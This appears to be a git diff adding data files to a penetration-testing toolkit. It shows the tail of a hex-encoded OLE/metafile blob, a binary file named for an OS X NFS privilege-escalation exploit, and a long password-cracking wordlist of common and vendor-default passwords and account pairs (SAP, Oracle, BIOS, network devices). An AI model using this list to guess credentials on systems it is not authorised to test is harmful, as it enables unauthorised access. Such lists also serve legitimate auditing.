+bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000 +0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000 +000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000 +560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00 +0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100 +6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18 +5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000 +0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400 +00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700 +69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000 +0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000 +0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00 +30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76 +f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500 +00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600 +0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e +4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400 +e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900 +660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400 +0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712 +2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000 +ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400 +0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000 +00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000 +985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00 +00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000 +100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800 +00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800 +050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24 +003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00 +0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053 +65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000 +0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001 +0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02 +000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902 +000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055 +0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400 +730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000 +050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000 +0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000 +26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000 +00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe +ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000 +0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400 +00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}} \ No newline at end of file diff --git a/data/exploits/osx/nfs_mount_priv_escalation.bin b/data/exploits/osx/nfs_mount_priv_escalation.bin new file mode 100644 index 0000000000..fe182e5693 Binary files /dev/null and b/data/exploits/osx/nfs_mount_priv_escalation.bin differ diff --git a/data/john/wordlists/common_roots.txt b/data/john/wordlists/common_roots.txt new file mode 100644 index 0000000000..a2f113b3b1 --- /dev/null +++ b/data/john/wordlists/common_roots.txt @@ -0,0 +1,4724 @@ + +!1qwerty +!@#QWE123qwe +!Q2w#E4r +!Q2w3e4r +!QAZ2wsx +!QAZ2wsx#EDC4rfv +!QAZ@WSX3edc4rfv +!admin +!ishtar +!manage +!qaz@wsx +!qazXsw2 +!qwe123 +!root +$SRV +$chwarzepumpe +$rfmngr$ +$secure$ +(random +(unknown) +* +*3noguru +*password +-------- +0 +00 +000 +0000 +00000 +000000 +0000000 +00000000 +0000000000 +007007 +00850085 +010101 +010203 +012012 +012345 +0123456 +0123456789 +012465 +0392a0 +04051995 +0407056 +06061977 +06071992 +080808 +082208 +09090 +098765 +0987654321 +0P3N +0RACLE +0RACLE38 +0RACLE39 +0RACLE8 +0RACLE8I +0RACLE9 +0okmnji9 +1 +10023 +101010 +10101010 +10111011 +10118 +10135 +10143 +10144 +102030 +1020304050 +1064 +11 +111 +1111 +11111 +111111 +1111111 +11111111 +1111111111 +11112222 +1111aa +111222 +112233 +11223344 +116572 +12 +1212 +121212 +12121212 +12201220 +123 +123.com +123123 +123123123 +123132123 +123258 +123321 +1234 +12341 +12341234 +123412345 +12345 +123454321 +123456 +1234567 +12345678 +123456789 +1234567890 +12345678900987654321 +1234567890987654321 +1234567890qwertyuiop +12345678910 +1234567898 +12345678987 +123456789876 +1234567898765 +12345678987654 +123456789876543 +1234567898765432 +12345678987654321 +1234567899 +12345678998 +123456789987 +1234567899876 +12345678998765 +123456789987654 +1234567899876543 +12345678998765432 +123456789987654321 +12345678abc +123456a +1234ABCD +1234Qwer +1234admin +1234qwer! +1234qwer` +123654 +123654789 +123789 +123abc +123cztery +123mudar +123qwe +123qwe!@# +123qweASD +123qweasdzxc +123qwerty +123zxc123 +124578 +125401 +12qw!@QW +12qw34er +12qwaszx +130590 +1313 +131313 +1322222 +1340hd +134679 +14111982 +141414 +142536 +143143 +14344 +1435254 +1456 +146688 +146890 +147147 +147258 +147258369 +147852 +147852369 +147896325 +1502 +151515 +1548644 +159357 +159357** +159753 +159753456 +161616 +1660359 +166816 +17161716 +171717 +17201720 +17841784 +18140815 +181818 +187cop +19491949 +19501950 +19511951 +1969 +19750407 +198624 +1986673 +1988 +19920706 +1997 +1a2s3d4f +1keeper +1lkjhgfdsa +1q2w3e +1q2w3e4R +1q2w3e4r +1q2w3e4r.. +1q2w3e4r5t +1q2w3e4r5t6y +1qa@WS3ed +1qaz!QAZ +1qaz"WSX +1qaz0okm +1qaz2wsx +1qaz2wsx3edc +1qaz@WSX +1qazcde3 +1qazxcvb +1qazxsw2 +1qsx2waz +1qsx2wdc +2 +2000 +2010 +201036 +20112011 +20132013 +202020 +20552055 +20562056 +20572057 +20682068 +2071184 +20742074 +21 +21101981 +2112 +21121477 +212121 +21241036 +22 +22071979 +222101 +2222 +22222 +222222 +22222222 +22242224 +225225 +23041979 +23051979 +232323 +23712371 +237723 +23skidoo +24041975 +240653C9467E45 +242424 +24343 +246810 +2468369 +24Banc81 +2501 +2505463 +252525 +256256 +2580 +2594561 +266344 +2718281828 +282828 +29082908 +2WSXcder +2bornot2b +2brnot2b +2cute4u +2keeper +2read +3 +3098z +311147 +31994 +321 +3333 +333333 +33333333 +3425235 +343guiltyspark +3477 +3800326 +38483848 +3Com +3ascotel +3ep5w2u +3l3ctr1c +3stones +3ware +4 +420420 +43046721 +4321 +4444 +44444 +444444 +44444444 +456 +456123 +456789 +4636421 +493749 +4Dgifts +4changes +4getme2 +4rfv$RFV +4rfv%TGB +4rfvbhu8 +4tas +4tugboat +5 +50cent +5150 +5201314 +54321 +545981 +5555 +55555 +555555 +55555555 +5583134 +56565656 +5678 +56789 +570912 +5777364 +57gbzb +5832277 +584620 +589589 +5897 +589721 +6 +60020 +6071992 +6213744 +643558 +654321 +657 +666001 +6666 +666666 +66666666 +6922374 +6969 +696969 +69696969 +7 +735841 +741852 +741852963 +749174 +753951 +7654321 +7772000 +7777 +777777 +7777777 +77777777 +788111 +789456 +789456123 +8 +8111 +8253 +832531 +8429 +852456 +8675309 +874365 +87654321 +8888 +888888 +88888888 +8RttoTriz +9 +9225481 +951753 +963258 +9641 +987654 +987654321 +9876543210 +9999 +99999 +999999 +99999999 +999999999 +9ijn7ygv +?award +@WSX1qaz +A.M.I +ABCD +ACCESS +ACCORD +ADLDEMO +ADMIN +ADMIN welcome +ADMINISTRATOR +ADSUSER ch4ngeme +ADS_AGENT ch4ngeme +ADTRAN +AIROPLANE +ALLIN1 +ALLIN1MAIL +ALLINONE +AM +AMI +AMI!SW +AMI.KEY +AMI.KEZ +AMI?SW +AMIAMI +AMIDECOD +AMIPSWD +AMISETUP +AMI_SW +AMI~ +ANS#150 +ANYCOM +AP +APC +APPS +APPS_MRC +APPUSER +AQ +AQDEMO +AQJAVA +AQUSER +AR#Admin# +ARCHIVIST +AUDIOUSER +AWARD +AWARD?SW +AWARD_PW +AWARD_SW +Admin +Admin1 +Admin123 +Admin@123 +Administrative +Administrator +Advance +Airaya +AitbISP4eCiG +Aloysius +Any +Asante +Ascend +Asd123 +Asdfg123 +Aurora01 +Avalanche +Award +BACKUP +BASE +BATCH +BC4J +BIGO +BIOS +BIOSPASS +BRIDGE +BRIO_ADMIN +Babylon +Barricade +Berman +Biostar +Boromir1 +C0de +CALVIN +CAROLIAN +CATALOG +CCC +CDEMO82 +CDEMOCOR +CDEMORID +CDEMOUCB +CENTRA +CHANGE_ON_INSTALL +CHEY_ARCHSVR +CIDS +CIS +CISCO +CISINFO +CISSUS +CLERK +CLOTH +CMOSPWD +CMSBATCH +CNAS +COGNOS +COMPANY +COMPAQ +COMPIERE +CONCAT +CONV +CR52401 +CSMIG +CTB_ADMIN sap123 +CTXDEMO +CTXSYS +CTX_123 +Cable-docsis +Chester1 +Chocolate19 +Christmas +Cisco +Col2ogro2 +Compaq +Compleri +Congress +Craftr4 +Crocodile1 +Crystal +Crystal0! +D-Link +DBDCCIC +DBSNMP +DCL +DDIC 19920706 +DDIC Welcome01 +DECMAIL +DECNET +DEFAULT +DEMO +DEMO8 +DEMO9 +DES +DEV2000_DEMOS +DEVELOPER ch4ngeme +DIGITAL +DIP +DISC +DISCOVERER_ADMIN +DSGATEWAY +DSL +DSSYS +D_SYSPW +D_SYSTPW +Daewuu +Daytec +Dell +Dragonsoul +EARLYWATCH SUPPORT +EJSADMIN +EMP +ESSEX +ESTORE +EVENT +EXFSYS +Ektron +Everything +Exabyte +FAX +FAXUSER +FAXWORKS +FIELD +FIELD.SUPPORT +FINANCE +FND +FNDPUB +FOOBAR +FORCE +FORSE +Fireport +Flamenco +GATEWAY +GL +GPFD +GPLD +GUEST +GUESTGUE +GUESTGUEST +GWrv +Gateway +Geardog +George123 +GlobalAdmin +Guest +HARRIS +HCPARK +HELGA-S +HELP +HELPDESK +HEWITT +HLT +HLW +HOST +HP +HPDESK +HPLASER +HPOFFICE +HPONLY +HPP187 +HPP189 +HPP196 +HPWORD +HR +HTTP +Haemorrhage +Hamster +Helpdesk +IBM +ILMI +IMAGEUSER +IMEDIA +INFO +INGRES +INSTANCE +INTERNAT +INTX3 +INVALID +IP +IPMI +ISPMODE +IS_$hostname +ITF3000 +ImageFolio +Impatiens +Insecure +Intel +Intermec +Israel123 +J2EE_ADMIN ch4ngeme +JDE +JETSPEED +JMUSER +Joel1234 +KNIGHT +Kia123 +Kitz +L2LDEMO +LASER +LASERWRITER +LBACSYS +LINK +LOTUS +LR-ISDN +LRISDN +Lasvegas1 +LdapPassword_1 +Letmein1 +Letmein2 +Local +LonDon +Lund +M +M1cha3l +MAIL +MAILER +MAINT +MANAG3R +MANAGER +MANAGER.SYS +MASTER +MBIU0 +MBMANAGER +MBWATCH +MCUrv +MCUser1 +MDDEMO +MDSYS +MFG +MGR +MGR.SYS +MGWUSER +MIGRATE +MILLER +MKO)9ijn +MMO2 +MOREAU +MPE +MSHOME +MServer +MTRPW +MTSSYS +MTS_PASSWORD +MUMBLEFRATZ +MXAGENT +MagiMFP +Manager +Master +Mau'dib +Mau?dib +Mau’dib +MiniAP +Multi +NAMES +NAU +NETBASE +NETCON +NETFRAME +NETMGR +NETNONPRIV +NETPRIV +NETSERVER +NETWORK +NEWINGRES +NEWS +NF +NFI +NICONEX +NOC +NONPRIV +NTCIP +NULL +NeXT +Nemesis1 +NetCache +NetICs +NetSeq +NetSurvibox +NetVCR +Newpass1 +NoGaH$@! +OAS_PUBLIC +OCITEST +OCS +ODM +ODS +ODSCOMMON +OE +OEM +OEMADM +OEMREP +OEM_TEMP +OLAPDBA +OO +OOOOOOOO +OP.OPERATOR +OPENSPIRIT +OPER +OPERATIONS +OPERATNS +OPERATOR +OPERVAX +ORACL3 +ORACLE +ORACLE8 +ORACLE8I +ORACLE9 +ORAREGSYS +ORASSO +ORDPLUGINS +ORDSYS +OSP22 +OUTLN +OWA +OWA_PUBLIC +OWNER +OkiLAN +Oper +Operator +OrigEquipMfr +P4ssw0rd +P@$$W0RD +P@$$w0rD +P@$$w0rd +P@$$word +P@55w0rd +P@55w0rd! +P@ssw0rd +P@ssw0rd! +P@ssword +P@ssword123 +PANAMA +PAPER +PASS +PASSW0RD +PASSWORD +PATROL +PBX +PDP11 +PDP8 +PERFSTAT +PLEX +PM +PO +PO7 +PO8 +PORTAL30 +PORTAL30_DEMO +PORTAL30_PUBLIC +PORTAL30_SSO +PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC +PORTAL31 +POST +POSTMASTER +POWERCARTUSER +PRIMARY +PRINT +PRINTER +PRIV +PRIVATE +PRODCICS +PRODDTA +PROG +PUBLIC +PUBSUB +PUBSUB1 +Pa22w0rd +Parasol1 +Partner +Pass1234 +PassW0rd +Passw0rd1111 +Password +Password#1 +Password1 +Password123 +Password@1 +PlsChgMe +PlsChgMe! +Polar123 +Polrty +Posterie +Private +Protector +Public +Q!W@E#R$ +Q54arwms +QAWSEDRF +QDBA +QDI +QNX +QS +QSECOFR +QSRV +QSRVBAS +QS_ADM +QS_CB +QS_CBADM +QS_CS +QS_ES +QS_OS +QS_WS +QUSER +Qwe12345 +Qwer!234 +Qwerty1! +Qwerty123 +R1QTPS +R3volution +RE +REGO +REMOTE +REPADMIN +REPORT +REP_OWNER +RIP000 +RJE +RM +RMAIL +RMAN +ROBELLE +ROOT +ROOT500 +RSAAppliance +RSX +RUPRECHT +ReadOnly +ReadWrite +Reptile1 +Republic1 +Rodopi +Root123 +Runaway1 +Runner11 +SABRE +SAMPLE +SAP +SAP* 06071992 +SAP* PASS +SAPCPIC ADMIN +SAPJSF ch4ngeme +SAPR3 +SAPR3 SAP +SDOS_ICSAP +SECDEMO +SECONDARY +SECRET +SECRET123 +SECURITY +SENTINEL +SER +SERVICE +SERVICECONSUMER1 +SESAME +SH +SHELVES +SITEMINDER +SKY_FOX +SLIDEPW +SMDR +SNMP +SNMP_trap +SNOWMAN +SQL +SSA +STARTER +STEEL +STRAT_PASSWD +STUDENT +SUN +SUPER +SUPERSECRET +SUPERVISOR +SUPPORT +SWITCH +SWITCHES_SW +SWORDFISH +SWPRO +SWUSER +SW_AWARD +SYMPA +SYS +SYS1 +SYSA +SYSADM +SYSLIB +SYSMAINT +SYSMAN +SYSPASS +SYSTEM +SYSTEST +SYSTEST_CLIG +SZYX +Secret +Security +Serial +Sharp +Silicon1 +SnuFG5 +SpIp +Spacve +Suckit1 +Summer12 +SunnyJim7 +Super +Super123 +Switch +Sxyz +Symbol +Sysop +System +T4urus +TAHITI +TANDBERG +TCH +TDOS_ICSAP +TELEDEMO +TELESUP +TENmanUFactOryPOWER +TEST +TESTPILOT +TJM +TMSADM $1Pawd2& +TMSADM ADMIN +TMSADM PASSWORD +TOAD +TRACE +TRAVEL +TSDEV +TSEUG +TSUSER +TTPTHA +TURBINE +Tamara01 +Tasmannet +Telecom +Test1234 +TheLast1 +Tiger +Tiny +Tokyo1 +Toshiba +Trintech +TrustNo1 +TzqF +UETP +UI-PSWD-01 +UI-PSWD-02 +ULTIMATE +UNKNOWN +USER +USER0 +USER1 +USER2 +USER3 +USER4 +USER5 +USER6 +USER7 +USER8 +USER9 +USERP +USER_TEMPLATE +UTLESTAT +Un1verse +Und3rGr0und +User +VAX +VCSRV +VESOFT +VIDEO +VIF_DEV_PWD +VIRUSER +VMS +VRR1 +VTAM +Varadero +Vextrex +WANGTEK +WEBCAL01 +WEBDB +WEBREAD +WELCOME +WINDOWS_PASSTHRU +WINSABRE +WKSYS +WLAN_AP +WOOD +WORD +WWW +WWWUSER +WebBoard +Welcome0 +Welcome1 +Welcome123 +What3v3r +Windows1 +Winston1 +Wireless +X#1833 +XLSERVER +XMI_DEMO sap123 +XPRT +YES +ZAAADA +ZAQ!2wsx +Zaq1xsw2 +Zenith +Zxasqw12 +[^_^] +_Cisco +a11b12c13 +a123456 +a12345678 +a13a13 +a1b2c3d4e5 +a1b2c3d4e5f6 +a1rplan3 +aLLy +aPAf +aa +aaaa +aaaaa +aaaaaa +aaaaaaaa +aaliyah +aammii +aaron +abang78 +abc +abc#123 +abc123 +abc123!! +abc123d4 +abcd +abcd-1234 +abcd1234 +abcde +abcdef +abcdef3 +abcdefg +abcdl2e +abcdpass +abd234 +abhaile1 +abigail +abra +abraham +abrakadabra +abusive +acc +access +accobra +accord +accounting +action +acuario +adam +adaptec +adfexc +adidas +adm +adm12345 +admin +admin000 +admin001 +admin01 +admin1121 +admin123 +admin1234 +admin222 +admin_1 +adminadmin +admini +administrator +adminpass +adminpasswd +adminpwd +admint +adminttd +admn +admpw +adoado +adobe +adobeadobe +adrian +adriana +adriano +adslolitec +adslroot +adtran +advcomm500349 +adworks +agent +agent_steal +aileen +aipai +airborne +airforce +airlines +airplane +ajlesd +akula123 +al2e4 +al2e4s +alabama +alarcon +alaska +albatros +albert +alberto +alejandra +alejandro +alex +alexa +alexande +alexander +alexandra +alexandru +alexia +alexis +alexl +alexo +alfarome +alfonso +alfred +alfredo +alice +alicia +alien +alisha +alison +all +all private +all public +allen +allison +allot +allstar +alog123 +alonso +alpargata +alpha +alpha1 +alpine +alvin +always +alyssa +amanda +amateur +amazing +amber +amelia +america +american +amigas +amigos +amigosw1 +amilopro +amistad +amorcito +amore +amores +amormio +an0th3r +anakonda +anakonda1 +anamaria +anderson +andre +andrea +andreea +andrei +andreita +andres +andrew +andrew1 +andrewl +angel +angel1 +angel2 +angel2000 +angel9 +angela +angelbaby +angeles +angelica +angelina +angelita +angelito +angell +angelo +angels +angie +angusyoung +anicust +animal +animals +anime +anita +annette +annie +anon +anthony +anthony1 +anthonyl +antibiotico +antonio +any@ +anyadhogyvan +anything +apa123 +apc +apollo +apollo11 +apple +applepie +apples +apricot +april +april2 +aprill +apstndp +aq12wsxz +aqq123 +aqua2000 +aquarius +archie +ardrossan +argentina +ariana +arianna +ariel +aries +aristoteles +arizona +arlene +armando +arnold +arsenal +arthur +articon +arturo +asante +ascend +asd +asd123 +asd123qwe +asdQWE123 +asdasd +asdewq +asdf +asdf1234 +asdfasdf +asdfg +asdfgh +asdfghj +asdfghjk +asdfghjkl +asdfhjkl +asdlkj +asdlkj12 +asdlkj123 +asecret +ashanti +ashlee +ashleigh +ashley +ashley1 +ashleyl +ashton +aspirine +asshole +assman +astime +at4400 +atacan +atc123 +athena +athlon64 +atlant1s +atlanta +atlantis +attack +aubrey +audrey +augmentin +august +august2 +augustl +aurora +austin +australia +author +autocad +autumn +avalon +aventura +avril +award.sw +award_? +award_ps +awesome +awkward +ax400 +axis2 +azerty +aztech +b4lls4ck +babbit +babes +babies +baby +baby2 +babyblue +babyboo +babyboy +babycakes +babydoll +babyface +babygirl +babygirl1 +babygirl2 +babygirll +babygirlo +babygurl +babygurll +babyko +babyl +babylove +babyo +babyphat +backdoor +backuponly1 +backuprestore1 +badass +badboy +badg3r5 +badger +badgirl +bagabu +bailey +baller +ballet +ballin +balls +bambam +bamsty +banana +bananas +banane1 +bandit +bang +baofeng +barbara +barbetta +barbie +barbusse +barcelona +barney +barricade +baseball +basisk +basket +basketball +bass +bastard +batista +batman +baxter +bball +bbbbbb +bbs +bciimpw +bcimpw +bcmspw +bcnaspw +beach +bear +beatles +beatriz +beautiful +beauty +beaver +beavis +bebita +becca +beckham +becky +beer +belinda +bell9 +bella +belle +benfica +benitocameloo +benjamin +benji +benny +berlin +bernard +bestfriend +bestfriends +bethany +betty +bettyboop +bewan +beyonce +bhaby +bhebhe +bianca +bier +bigboy +bigbuddy +bigcock +bigdaddy +bigdick +bigdog +bigmac +bigman +bigred +bigred23 +bigtits +bill +billabong +billie +billy +billybob +bin +bintec +biodata +bios +biosstar +biostar +birdie +birdshit +birthday +bishop +bismillah +bitch +bitch1 +bitches +bitchl +bitchy +biteme +bla123 +blabla +blabla12 +blablabla +black +black321 +blackie +blackonblack +blacky +blahblah +blake +blanca +blank +blazer +blender +blessed +blink182 +blinkl8 +blizzard +blonde +blondie +blood +bloods +blossom +blowjob +blowme +blubje +blue +blue2 +blueberry +blueeyes +bluel +bluepw +bluespot +bmw12345 +bobby +bobthebuilder +boca +bohemia +bollocks +bomba +bonbon +bond007 +bondage +bonita +bonnie +boobies +booboo +boobs +booger +boogie +boomer +booty +boricua +boss +boston +bowling +bowwow +bpel +bradley +brandi +brandon +brandon1 +brandonl +brandy +bratz +braves +brayden +brazil +breanna +brenda +brendan +brian +brian0711 +briana +brianna +brightmail +britney +britt +brittany +brittney +brocade1 +broken +bronco +broncos +brooke 